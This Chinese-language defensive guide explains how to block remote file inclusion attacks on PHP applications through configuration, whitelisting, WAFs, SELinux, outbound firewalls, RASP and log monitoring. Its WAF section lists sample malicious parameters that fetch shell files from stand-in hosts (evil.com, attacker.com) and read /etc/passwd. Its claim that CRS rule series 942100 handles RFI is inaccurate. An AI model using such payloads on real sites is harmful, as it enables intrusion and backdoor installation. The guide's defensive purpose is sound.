本文目录导读:

针对远程文件包含(RFI)攻击的拦截,核心思路是限制应用从外部(尤其是远程服务器)动态获取代码或文件,以下是系统性的拦截方案,按“预防-检测-阻断”的优先级排列:
最核心的代码层拦截(源头治理)
这是最根本的方法,需要在应用程序的开发与配置中完成。
- 禁用远程文件包含功能(PHP配置):
- 在
php.ini中,将allow_url_include = Off(确保是Off,很多环境的默认值可能是On)。 - 同时确保
allow_url_fopen = Off(这会进一步阻止应用打开远程文件,虽然后者主要用于文件读取,但关闭它可以减少攻击面)。
- 在
- 严格的输入验证与白名单:
- 永远不要信任用户输入,对
$_GET、$_POST、$_COOKIE、$_SERVER等超全局变量中的文件路径参数进行严格过滤。 - 实施 白名单:只允许包含预设的、可信的文件列表(
include($whitelist[$id]);),而不是直接使用用户输入拼接文件路径。 - 路径规范化与限制:如果必须动态包含,使用
realpath()函数将路径转换为绝对路径,并检查其是否位于指定的include_path内或项目根目录下,绝对不要允许包含指向http://、https://、ftp://等协议的路径。
- 永远不要信任用户输入,对
Web应用防火墙层拦截(通用防护)
如果无法修改代码(例如使用第三方系统),应部署WAF(Web应用防火墙)。
- 云WAF:如阿里云WAF、腾讯云WAF、Cloudflare、AWS WAF等,它们内置了RFI攻击识别规则,会自动拦截包含
http://、ftp://等远程协议的文件包含请求参数。 - 自建WAF:如ModSecurity(搭配OWASP核心规则集CRS),配置CRS后,规则库(如942100系列)会自动检测并拦截包含
allow_url_include或常见远程URL模式的请求。 - 通用防护模式:WAF会检查HTTP请求中以下特征:
?page=http://evil.com/shell.txt?file=ftp://attacker.com/backdoor.php?module=../../../../etc/passwd%00(虽然这是路径遍历,但常与RFI组合利用)
服务器与系统层拦截(纵深防御)
- SELinux / AppArmor(强制访问控制):
- 配置SELinux策略,只允许Web服务器进程(如
httpd_t或apache_t)访问本地文件系统中的特定目录(如/var/www/html及其子目录),任何尝试访问外部网络或非授权本地文件的操作都会被内核直接拒绝。 - 示例(RHEL/CentOS):
setsebool -P httpd_can_network_connect off(强制关闭Apache的网络连接能力)。
- 配置SELinux策略,只允许Web服务器进程(如
- 文件系统权限:
- 确保Web根目录下的PHP文件拥有最小权限(例如
644,所有者www-data:www-data)。 - 严格禁止在临时上传目录(如
/tmp、/uploads)中设置PHP执行权限,使用.htaccess或Nginx配置禁止这些目录解析PHP文件:# Apache .htaccess <Directory "/var/www/html/uploads"> php_flag engine off </Directory>
- 确保Web根目录下的PHP文件拥有最小权限(例如
- 内核网络过滤(防火墙):
- 使用
iptables或nftables阻止出站连接:Web服务器通常不需要主动作为客户端连接外部服务,可以配置防火墙禁止Web服务器进程(或整个服务器)向外发起TCP连接(尤其是80、443、21、22等端口)。# 允许回环,禁止其他出站 iptables -A OUTPUT -o lo -j ACCEPT iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -j DROP
注意:这可能会影响正常的API调用、邮件发送等功能,需谨慎测试。
- 使用
运行时应用自我保护
- 部署RASP:RASP(Runtime Application Self-Protection)如 OpenRASP、Seeker 等,它们嵌入到应用运行时中,监控函数调用(如
include()、require()、include_once())。当检测到传入的参数包含远程URL时,RASP会在函数执行前直接阻断并告警,无论底层PHP配置如何。
辅助检测与监控
- 日志分析:定期检查Web服务器访问日志和错误日志,告警规则可以设置为:
- URL或参数中包含
http://、https://、ftp://、php://input、data://等协议。 - 参数值包含文件路径分隔符或可疑的路径变形(如、)。
- URL或参数中包含
- 文件完整性监控:使用 Tripwire、AIDE 等工具监控Web目录下PHP文件的变化,一旦出现未知的PHP文件(后门),立即告警。
优先级排序
- 代码层面:禁用
allow_url_include(PHP) + 白名单校验(最有效)。 - WAF层:部署WAF拦截基于URL的远程包含请求(最通用)。
- 系统层:SELinux + 出站防火墙 + 禁止上传目录执行权限(最底层)。
- 运行时:RASP(最智能,但有一定性能开销)。
对于大多数已上线的系统,最佳实践是:立即在WAF上开启RFI防护规则 + 检查PHP配置禁用远程包含(若可行) + 配置出站防火墙规则,这三步组合可以防御绝大多数基于公开漏洞的RFI攻击。